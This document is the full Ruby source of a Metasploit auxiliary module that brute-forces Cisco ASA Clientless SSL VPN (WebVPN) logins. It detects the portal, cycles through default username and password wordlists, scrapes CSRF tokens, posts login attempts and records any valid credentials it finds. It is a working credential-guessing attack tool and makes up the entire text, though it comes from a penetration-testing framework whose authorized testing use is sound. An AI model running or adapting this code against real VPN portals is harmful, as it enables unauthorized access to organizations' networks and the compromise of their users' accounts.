Cisco ASA Clientless SSL VPN (WebVPN) Brute-force Login Utility

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::AuthBrute  
include Msf::Auxiliary::Scanner  
include Msf::Exploit::Deprecated  
moved_from 'auxiliary/scanner/http/cisco_asa_asdm'  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Cisco ASA Clientless SSL VPN (WebVPN) Brute-force Login Utility',  
'Description' => %q{  
This module scans for Cisco ASA Clientless SSL VPN (WebVPN) web login portals and  
performs login brute-force to identify valid credentials.  
},  
'Author' => [  
'Jonathan Claudius <jclaudius[at]trustwave.com>', # original Metasploit module  
'jbaines-r7' # updated module  
],  
'References' => [  
[ 'URL', 'https://www.cisco.com/c/en/us/support/docs/security-vpn/webvpn-ssl-vpn/119417-config-asa-00.html' ]  
],  
'License' => MSF_LICENSE,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [IOC_IN_LOGS],  
'Reliability' => []  
}  
)  
)  
  
register_options(  
[  
OptString.new('GROUP', [true, 'The connection profile to log in to (blank by default)', '']),  
OptPath.new('USERPASS_FILE', [  
false, 'File containing users and passwords separated by space, one pair per line',  
File.join(Msf::Config.data_directory, 'wordlists', 'http_default_userpass.txt')  
]),  
OptPath.new('USER_FILE', [  
false, 'File containing users, one per line',  
File.join(Msf::Config.data_directory, 'wordlists', 'http_default_users.txt')  
]),  
OptPath.new('PASS_FILE', [  
false, 'File containing passwords, one per line',  
File.join(Msf::Config.data_directory, 'wordlists', 'http_default_pass.txt')  
])  
]  
)  
end  
  
def run_host(_ip)  
# Establish the remote host is running the clientless vpn  
res = send_request_cgi('uri' => normalize_uri('/+CSCOE+/logon.html'))  
if res && res.code == 200 && res.get_cookies.include?('webvpn')  
print_status('The remote target appears to host Cisco SSL VPN Service. The module will continue.')  
print_status('Starting login brute force...')  
  
each_user_pass do |user, pass|  
do_login(user, pass)  
end  
else  
print_status('Cisco SSL VPN Service not detected on the remote target')  
end  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: 'Cisco ASA SSL VPN Service',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user],  
private_data: opts[:password],  
private_type: :password  
}.merge(service_data)  
  
login_data = {  
last_attempted_at: DateTime.now,  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::SUCCESSFUL,  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
# Brute-force the login page  
def do_login(user, pass)  
vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect}")  
  
# some versions require we snag a CSRF token. So visit the logon portal  
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri('/+CSCOE+/logon.html'))  
return unless res && res.code == 200  
  
vars_hash = {  
'tgroup' => '',  
'next' => '',  
'tgcookieset' => '',  
'username' => user,  
'password' => pass,  
'Login' => 'Login'  
}  
  
cookie = 'webvpnlogin=1'  
  
# the web portal may or may not contain CSRF tokens. So snag the token if it exists.  
if res.body.include?('csrf_token')  
csrf_token = res.body[/<input name="csrf_token" type=hidden value="(?<token>[0-9a-f]+)">/, :token]  
if csrf_token  
vars_hash['csrf_token'] = csrf_token  
cookie = "#{cookie}; CSRFtoken=#{csrf_token};"  
else  
print_error('Failed to grab the CSRF token')  
return  
end  
end  
  
# only add the group if the user specifies a non-empty value  
unless datastore['GROUP'].nil? || datastore['GROUP'].empty?  
vars_hash['group_list'] = datastore['GROUP']  
end  
  
res = send_request_cgi({  
'uri' => normalize_uri('/+webvpn+/index.html'),  
'method' => 'POST',  
'ctype' => 'application/x-www-form-urlencoded',  
'cookie' => cookie,  
'vars_post' => vars_hash  
})  
  
# check if the user was likely forwarded to the clientless vpn page  
if res && res.code == 200 && res.body.include?('/+webvpn+/webvpn_logout.html') && res.body.include?('/+CSCOE+/session.js')  
  
print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")  
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)  
  
# logout - the default vpn connection limit is 2 so it's best to free this one up. Unfortunately,  
# we need a CSRF and non-CSRF version for this as well.  
if res.body.include?('csrf_token')  
csrf_token = res.body[/<input type="hidden" name="csrf_token" value="(?<token>[0-9a-f]+)">/, :token]  
  
# if we don't pull out the token... just keep going? Failing logout isn't the end of the world.  
if csrf_token  
send_request_cgi(  
'uri' => normalize_uri('/+webvpn+/webvpn_logout.html'),  
'method' => 'POST',  
'vars_post' => { 'csrf_token' => csrf_token },  
'cookie' => res.get_cookies  
)  
end  
else  
send_request_cgi('uri' => normalize_uri('/+webvpn+/webvpn_logout.html'), 'cookie' => res.get_cookies)  
end  
  
return :next_user  
else  
vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}")  
end  
end  
end  
`